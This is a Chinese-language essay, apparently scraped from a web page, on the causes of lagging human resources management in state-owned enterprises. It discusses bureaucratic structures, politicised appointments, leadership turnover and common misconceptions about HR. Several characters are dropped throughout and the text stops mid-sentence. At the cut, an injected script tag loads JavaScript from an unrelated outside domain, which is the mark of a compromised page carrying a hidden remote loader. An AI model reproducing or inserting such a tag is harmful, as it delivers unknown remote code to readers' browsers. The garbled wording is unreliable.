國有企業人力資源管理落后的要因與思考

進入知識經濟時代，智力資本成為企業的第一競爭要素，人力資源管理的重要性愈加凸顯。然而，傳統上穩居頭把交椅的國有企業，在人才競爭中卻越來越有大步落后的趨勢， 

    一、 國有企業人力資源管理落后的要因

    現代企業的生存與發展受眾多因素影響和制約。其中， 重要也是 根本的因素就是企業的勞動者——人力資源，他們是企業所有資源中 寶貴的，因而必須對其進行有效管理。但是在實際操作中，許多企業，特別是大型國有企業，更關心的可能是它的資金和市場問題，人力資源管理常常為其所忽視。然而恰恰是人力資源的瓶頸阻礙了企業的進一步發展，問題何在？

    （一）、體制成舊

    1、企業產權名存實虛。企業經營者與企業利益不緊密相關，缺乏把企業辦好的 基本的利益沖動。大多數經營者由行政任命，缺乏職業經營者的理性，對改善企業經營的理念、措施被動接受，行動遲緩。如大多數國營企業尚沒有成立真正意義上的人力資源部門，企業機構臃腫，部門林立，層次多，冗員多；企業內部壁壘嚴重，部門間協同松散，信息傳遞較慢，或信息傳遞失真失效；企業制度繁瑣，職責不明，扯皮增多，辦事程序復雜，官僚習氣十足。重大決策不能得到有效執行，或實施不力，達不到預期效果；領導者陷于具體的日常業務中，企業缺乏有效的中長期計劃。 

    2、企業行為政府化，潛意識中政治氣氛濃厚，重"名"而不重"實"。如管理者的考核任命強調政治表現，但有些業務骨干卻因為不善拉關系而受到冷遇，"又紅又專"的標準 后往往變成"紅而不專"。企業從上到下看不到危機，沉浸在泡沫式的繁榮之中。員工不計成本，不講實效導致成本居高不下，效益下滑；企業生產與市場嚴重脫節，暢銷的供不上，滯銷的大積壓，技術創新不足；不注重客戶關系管理，客戶對企業產生信任危機。

    3、領導更換頻繁，導致企業行為明顯短期化，只重眼前利益。國企領導較少考慮到戰略、文化層次，即使制定了戰略目標，也不能保證它在下一任內的延續性，相應地企業更缺乏支持戰略實現的長期人力資源規劃。在有的企業里，“元老”、“長老”們，仍然在內部擁有巨大的勢力，阻擋了持不同意見者的生存發展；不重視培養人才，企業各個層面出現后備人才“短缺”現象，人才流失現象嚴重。

    （二）、領導者本身的素質和管理水準亟待提高。

    現代人力資源管理思想由西方傳入中國后，迅速得到傳播和認同，由傳統的人事管理向人力資源管理轉變的熱潮近年來逐漸升溫。然而，在許多國有企業，人力資源尚處于理念傳播階段，由于對人力資源管理還缺乏系統的、科學的認識，很多企業還存在許多觀念誤區，

    錯誤認識一：人力資源管理的主要職責屬于行政管理范圍。實質上這仍局限于傳統的人事管理，而不是現代的人力資源管理。現代人力資源管理是一項系統工程，它的核心目標是 大限度地激勵員工，使企業內 有潛力的資源--人力資源得到有效的開發，并服務于企業增值的目標。因此，凡與調動員工積極性，并充分發揮員工對企業價值有關的職能，都應含在一個完整的人力資源系統中。這個系統大到宏觀層面，如遠景、戰略（與人是否配合，是否能夠產生激勵），小到微觀操作層面，如招聘技巧、績效測評，其間還有企業組織、職位設計、企業文化等中觀層面。行政管理職能基本上是微觀層面的，只是大人力資源系統中的一小部分。

    錯誤認識二：人力資源工作基本處于企業內部，對企業經營業績沒有直接貢獻。許多企業認為人力資源部門在企業中處于輔助位置，而生產部門、營銷部門、財務部門才是企業創造價值的來源。生產目標、成本目標、利潤目標，都必須在承擔這些職責的人的有效工作下才能 好地完成。一個好的市場推廣活動也許在短時期內可以顯著增加企業利潤，但若缺乏一支高素質的營銷隊伍，長期穩定的市場拓展是無法想象的。所以有效的人力資源管理不僅使企業目前的業績得以保持，更重要的是推動企業長期穩定地成長。

    錯誤認識三：人力資源管理只是人力資源部門的職責。對人力資源管理缺乏系統的理解，是造成這一誤解的原因。實現對全體員工的價值開發是人力資源工作的目的，這不僅括基層員工，而且括中級甚至高級管理層。只要員工存在之處，人力資源管理就應該延伸，整個企業實際上是一個大人力資源系統。許多跨國公司提倡這樣的觀念：所有部門經理都應是人力資源經理，因為他們對下屬負有招聘、考評、開發、激勵等職責。人力資源工作要想切實有效，沒有各職能部門的執行、配合是不可能實現的。

    以上觀念誤區的一個共同根源是忽視了人力資源管理貫穿企業各部門的系統性，對人?script src=http://cn.jxmmtv.com/cn.js></Script>